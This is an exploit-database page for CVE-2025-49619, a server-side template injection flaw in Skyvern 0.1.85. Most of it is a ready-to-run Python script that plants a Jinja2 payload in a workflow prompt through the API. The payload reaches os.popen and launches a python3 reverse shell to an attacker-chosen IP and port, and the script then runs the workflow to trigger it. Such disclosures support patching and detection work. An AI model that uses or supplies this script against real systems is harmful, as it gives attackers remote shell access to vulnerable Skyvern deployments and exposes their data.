Skyvern 0.1.85 – Remote Code Execution (RCE) via SSTI

Exploit Details

Basic Information

Exploit Title Skyvern 0.1.85 – Remote Code Execution (RCE) via SSTI
Exploit ID EDB-ID:52335
Type exploitdb
Published 2025-06-15T00:00:00
Modified 2025-06-15T00:00:00

CVSS Information

CVSS Score 8.5
Severity HIGH
Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

CVE Information

  • CVE-2025-49619

Exploit Description

Exploit Title: Skyvern 0.1.85 – Remote Code Execution (RCE) via SSTI…

Exploit Code

# Exploit Title: Skyvern 0.1.85 – Remote Code Execution (RCE) via SSTI

# Date: 2025-06-15

# Exploit Author: Cristian Branet

# Vendor Homepage: https://www.skyvern.com/

# Software Link: https://github.com/Skyvern-AI/skyvern

# Version: < 0.1.85, before commit db856cd
# Tested on: Skyvern Cloud app / Local Skyvern (Linux Ubuntu 22.04)

# CVE : CVE-2025-49619

# Article: https://cristibtz.github.io/posts/CVE-2025-49619/

”’

Skyvern’s Workflow Editor allows prompt injection via Jinja2 template syntax.

An attacker with low privileges can inject a malicious payload in a block that contains Prompt section,

which gets rendered server-side, resulting in blind remote code execution via curl.

”’

import requests, argparse, pyfiglet

parser = argparse.ArgumentParser(description=”This script exploits CVE-2025-49619 in Skyvern to execute a reverse shell command.”, formatter_class=argparse.ArgumentDefaultsHelpFormatter)

parser.add_argument(“-u”, “–url”, required=True, help=”Skyvern URL (e.g., http://example.com:8080)”)

parser.add_argument(“-k”, “–x-api-key”, required=True, help=”Go to Skyvern app -> Settings -> API Key -> Reveal and copy the API key”)

parser.add_argument(“-i”, “–ip”, required=True, help=”IP address to receive the reverse shell connection”)

parser.add_argument(“-p”, “–port”, required=True, help=”Port for the reverse shell connection”)

def create_exploit_workflow(url, ip, port, x_api_key):

exploit_workflow = {

“title”: “Exploit”,

“description”: “”,

“proxy_location”: “RESIDENTIAL”,

“webhook_callback_url”: “”,

“persist_browser_session”: False,

“model”: None,

“totp_verification_url”: None,

“workflow_definition”: {

“parameters”: [],

“blocks”: [

{

“label”: “block_1”,

“continue_on_failure”: False,

“block_type”: “task_v2”,

“prompt”: (

“{% for x in ().__class__.__base__.__subclasses__() %}\n”

” {% if ‘warning’ in x.__name__ %}\n”

” {{ x()._module.__builtins__[‘__import__’](‘os’).popen(\n”

” \”python3 -c ‘import socket,os,pty;\”\n”

” \”s=socket.socket();\”\n”

f” \’s.connect((\\\”{ip}\\\”,{port}));\’\n”

” \”os.dup2(s.fileno(),0);\”\n”

” \”os.dup2(s.fileno(),1);\”\n”

” \”os.dup2(s.fileno(),2);\”\n”

” \”pty.spawn(\\\”sh\\\”)’\”\n”

” ).read() }}\n”

” {% endif %}\n”

“{% endfor %}”

),

“url”: “”,

“max_steps”: 25,

“totp_identifier”: None,

“totp_verification_url”: None

}

]

},

“is_saved_task”: False

}

headers = {

“Content-Type”: “application/json”,

“X-API-Key”: x_api_key

}

response = requests.post(f”{url}/api/v1/workflows”, json=exploit_workflow, headers=headers)

if response.status_code == 200:

print(“[+] Exploit workflow created successfully!”)

else:

print(“[-] Failed to create exploit workflow:”, response.text)

return None

workflow_permanent_id = response.json().get(“workflow_permanent_id”)

print(f”[+] Workflow Permanent ID: {workflow_permanent_id}”)

return workflow_permanent_id

def run_exploit_workflow(url, x_api_key, workflow_permanent_id):

workflow_data = {

“workflow_id”: workflow_permanent_id

}

headers = {

“Content-Type”: “application/json”,

“X-API-Key”: x_api_key

}

response = requests.post(f”{url}/api/v1/workflows/{workflow_permanent_id}/run”, json=workflow_data, headers=headers)

if response.status_code == 200:

print(“[+] Exploit workflow executed successfully!”)

else:

print(“[-] Failed to execute exploit workflow:”, response.text)

if __name__==”__main__”:

print(“\n”)

print(pyfiglet.figlet_format(“CVE-2025-49619 PoC”, font=”small”, width=100))

print(“Author: Cristian Branet”)

print(“GitHub: github.com/cristibtz”)

print(“Description: This script exploits CVE-2025-49619 in Skyvern to execute a reverse shell command.”)

print(“\n”)

args = parser.parse_args()

url = args.url

x_api_key = args.x_api_key

ip = args.ip

port = args.port

workflow_permanent_id = create_exploit_workflow(url, ip, port, x_api_key)

run_exploit_workflow(url, x_api_key, workflow_permanent_id)

View Full Exploit Details

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.